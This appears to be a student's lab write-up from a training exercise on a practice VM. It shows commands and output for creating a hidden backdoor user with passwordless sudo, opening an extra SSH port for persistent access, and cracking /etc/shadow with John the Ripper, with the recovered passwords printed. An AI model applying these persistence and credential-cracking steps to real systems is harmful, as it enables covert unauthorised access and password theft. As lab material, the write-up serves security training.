Advanced Bash - Owning the System

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created: In order to create a user secretly without a home directory i entered the following command: adduser --no-create-home sysd

```
root:~\ $ sudo adduser --no-create-home sysd
Adding user `sysd' ...
Adding new group `sysd' (1007) ...
Adding new user `sysd' (1007) with group `sysd' ...
Not creating home directory `/home/sysd'.
```

2. Give your secret user a password: To give our secret user a password i basically entered the command: passwd sysd.

```
root:~\ $ passwd sysd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root:~\ $
```

3. Give your secret user a system UID < 1000: In order to change and or modify the existing UID you enter the following command: usermod -u 900 sysd. In this particular example I chose 900.

```
root:~\ $ usermod -u 900 sysd
```

4. Give your secret user the same GID: In order to change the GID we use the following command: groupmod -g 900 sysd

```
root:~\ $ groupmod -g 900 sysd
```

5. Give your secret user full sudo access without the need for a password: In order to give our secret user full sudo access without the need for a password we open the /etc/sudoers file as root using the following command: sudo visudo.

```
root:~\ $ sudo visudo
```

We then edit/add our username at the end of the script using the following command: sysd ALL=(ALL) NOPASSWD:ALL.

```
# Vagrant Privs for config
vagrant ALL=(ALL) NOPASSWD:ALL
sysadmin  ALL=(ALL:ALL) /usr/bin/less
sysd ALL=(ALL) NOPASSWD:ALL
```

6. Test that sudo access works without your password: In order to test if a password would not be required I simply added another user and it did not prompt for a password like it did previously with sysadmin.

```
sysadmin:~\ $ sudo useradd --no-create-home sysd
sysadmin:~\ $ sudo passwd sysd
Enter new UNIX password:
Retype new UNIX password:
```

With sysd:

```
$ sudo adduser hugostrange
Adding user `hugostrange' ...
Adding new group `hugostrange' (1007) ...
Adding new user `hugostrange' (1007) with group `hugostrange' ...
Creating home directory `/home/hugostrange' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
```

Also tried sudo -l to make sure password was not required.

```
$ sudo -l
Matching Defaults entries for sysd on scavenger-hunt:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysd may run the following commands on scavenger-hunt:
    (ALL) NOPASSWD: ALL
$ exit
```

Step 2: Smooth Sailing

1. Edit the sshd_config file: In order to update the ssh config file we first navigate and nano to the file using cd /etc/ssh and then entering sudo nano sshd_config.

```
sysadmin:~\ $ cd /etc/ssh
sysadmin:ssh\ $ nano sshd_config
sysadmin:ssh\ $ sudo !!
sudo nano sshd_config
```

Within the script we add the desired Port 2222 under the Port 22.

```
#Port 22
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
```

We then restart sshd using the command sudo systemctl restart sshd

```
root:~\ $ systemctl restart sshd
```

We can then check to make sure our port was successfully added by running the command: ss -tlnp | grep 22.

```
root:~\ $ ss -tlnp | grep 2222
LISTEN   0         128               0.0.0.0:2222            0.0.0.0:*        users:(("sshd",
pid=2333,fd=3))
LISTEN   0         128                  [::]:2222               [::]:*        users:(("sshd",
pid=2333,fd=4))
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service: systemctl restart sshd

```
root:~\ $ systemctl restart sshd
```

2. Exit the root account: We simply enter the command exit to exit root.

```
root:~\ $ exit
exit
sysadmin:~\ $
```

3. SSH to the target machine using your sysd account and port 2222: To re enter the target machine as sysd, i entered the following command: ssh sysd@192.168.6.105 -p 2222. This allowed me access to the target machine as sysd.

```
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr 12 22:46:18 UTC 2021

  System load:  0.0               Processes:             91
  Usage of /:   47.1% of 9.78GB   Users logged in:       1
  Memory usage: 18%               IP address for enp0s3: 10.0.2.15
  Swap usage:   0%                IP address for enp0s8: 192.168.6.105
```

4. Use sudo to switch to the root user: As soon as I was granted access I enter sudo su to access root. Found flag from previous activity. LOL

```
$ sudo su

You found flag_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0

root@scavenger-hunt:/#
```

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222: We SSH back to the system using ssh sysd@192.168.6.105 -p 2222.

```
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr 12 22:46:18 UTC 2021

  System load:  0.0               Processes:             91
  Usage of /:   47.1% of 9.78GB   Users logged in:       1
  Memory usage: 18%               IP address for enp0s3: 10.0.2.15
  Swap usage:   0%                IP address for enp0s8: 192.168.6.105
```

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file: I ran sudo su to escalate to root privileges. From here we can run John The Ripper to crack the passwords in the /etc/shadow file by running the command: john /etc/shadow.

Privileges to root:

```
sysd@scavenger-hunt:/$ sudo su

You found flag_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0
```

Using John the Ripper on /etc/shadow file.

```
root@scavenger-hunt:/# john /etc/shadow
Created directory: /root/.john
Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
computer         (stallman)
freedom          (babbage)
trustno1         (mitnik)
dragon           (lovelace)
lakers           (turing)
passw0rd         (sysadmin)
Goodluck!        (student)
```